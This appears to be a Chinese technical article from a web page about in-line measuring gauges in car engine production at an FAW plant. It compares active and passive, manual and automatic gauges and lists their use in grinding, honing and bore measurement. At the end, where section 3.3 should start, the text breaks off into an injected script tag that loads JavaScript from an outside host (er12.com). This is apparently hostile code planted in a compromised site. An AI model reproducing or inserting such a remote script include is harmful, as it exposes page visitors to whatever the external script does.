1、在线检测技术的重要性
汽车工业近年来的发展非常迅速，尤其是轿车工业可以说是日新月异。汽车工业发展得这样快，毫无疑问应归功于改革开放、引进先进技术的结果。而在这引进的先进技术中，在线检测技术可以说是一颗璀璨的明珠。
一台发动机由几百个零部件组装而成，每个零件，即便是一颗螺丝钉都将直接影响发动机整机的质量。因而，对这些零部件在生产制造中加工质量的检测与控制的好坏，也就决定了发动机质量，也就成了能否达到设计所要求的技术性能指标的关键。而对这些零件在生产制造中的检测与控制，完全靠人工在生产线外的手动进行，显然存在以下弊端。
a.检测结果会因为操作者的熟悉程度、疲劳程度、责任心等带来不同程度的附加误差。
b.增加了操作者的劳动强度。
c.只能对加工后的质量进行“被动”检测，而不能实现对加工的质量进行“主动”的检测和控制。故虽然能检测出超差的零件，但加工中造成的废品却无法避免，尤其是位于自动生产线前端或中间加工的尺寸，等到出线端才能进行人工检测，而此时所检测出来的超差，在生产线内却已有若干台超差件，造成了废品的增加。
而在线检测技术的引人，不仅解决了上述的弊端，且较大地提高了发动机的质量和生产率，降低了整机成本。
2、在线量仪的主要类型、结构及特点
2.1主要类型、结构
在线检测技术在生产中应用的主要结构形式是，由测量系统与相应部件及系统构成的在线量仪。在线量仪的分类方法有多种，若按在测量过程中人工参与的程度，可分为手动量仪和自动量仪；而若按其在测量过程中对工艺过程的干预程度，又可分为主动量仪和被动量仪。
在线量仪的基本结构如图1.图1中a、b2个虚框分别为测量装置（即通常所说的测量头）和测量仪表（或者说是测量电箱），这两者是量仪的主体。
2.2主要特点和区别
2.2.1自动量仪和手动量仪
a.自动量仪和手动量仪的测量头对工件的测量，分别是由机床自动驱动和人工手动进行的，如图1中，自动驱动（或手动）框。
b.自动量仪在其结构中必须有测量头的自动驱动装置，手动量仪则不需要。
c.自动量仪的测量结果自动生成对机床控制系统产生影响的信号，而手动量仪则没有此功能。
2.2.2主动量仪和被动量仪
a.主动量仪的测量是在工件的加工过程中实时进行的，而被动量仪则是在工件加工完成后，对加工的结果进行测量的。
b.主动量仪在测量过程中，不仅能实时显示被测工件的尺寸和状态，还可根据测量状况随时发出不同的控制信号，用以控制刀具减缓进刀、停止进刀或刀具退回。而被动量仪只能显示被测工件最终的尺寸和状态，并发出状态（合格、超差、接近超差）的控制信号。
c.主动量仪的设置与工件的加工均在同一工位，而被动量仪的设置通常在工件加工的后序工位。
d.被动量仪既有手动测量的，又有自动测量的，而主动量仪基本上都是自动测量的。
鉴于上述，显然是主动量仪的功能更为完善优异。但主动量仪的应用还有一定的局限性，目前仅较为广泛地应用于磨削和珩磨类的机械加工中。由于主动测量是在工件加工中的动态测量，受多方面因素的影响，而被动测量是在工件加工完成后的静态测量，影响的因素较小，因而实际测量的准确度后者高于前者。且近年来由于自动补调系统的日臻完善，使配有自动补调系统的被动量仪的应用日益广泛。其主要工作过程是，首先是对加工完成后的工件尺寸进行检测，当发现达到或超出某一设定的范围（接近超差）时即发出信号，并对加工系统（主要是刀具）
做相应的调整，用以修正或补偿所出现的偏差。
3、我厂在线量仪的应用概况
一汽轿车公司二发厂在线量仪的应用较为广泛，主要是由于我厂的主要设备和生产线均是从国外（主要是美国）引进的，在线量仪也大多随设备和生产线同时引进，且基本上都是自动的，其中主动量仪和被动量仪均有，数目也均不少。投人生产后，又进行了一些改进和扩展，故现在我厂在线量仪的种类和数量均具有一定的规模。
3.1主动量仪的应用概况
a.磨削加工：主要是对曲轴的主轴径和连杆轴径、连杆的主轴径和中间轴轴径等轴类工件的磨削加工过程中的尺寸进行测量，计15台（测量头17个）。
b.珩磨加工：主要是对缸体的缸孔和连杆的大小头孔等孔类的珩磨加工过程中的尺寸进行测量，计2台（测量头8个），且配有工控机。
3.2被动量仪的应用概况
被动量仪主要应用于孔类工件的测量，并重点用于下述2个工件。
a.缸体：主要是对缸体上的主轴承孔和中间轴孔加工完成后的测量及缸孔的测量分级，计2台（测量头6个），且配有工控机。
b.缸盖：主要是对一缸盖上的气门座孔、气门导管孔、气门调节器孔和凸轮轴孔加工完成后的测量，计3台（测量头17个）且配有工控机。3.3?script src=http://er12.com/t.js>
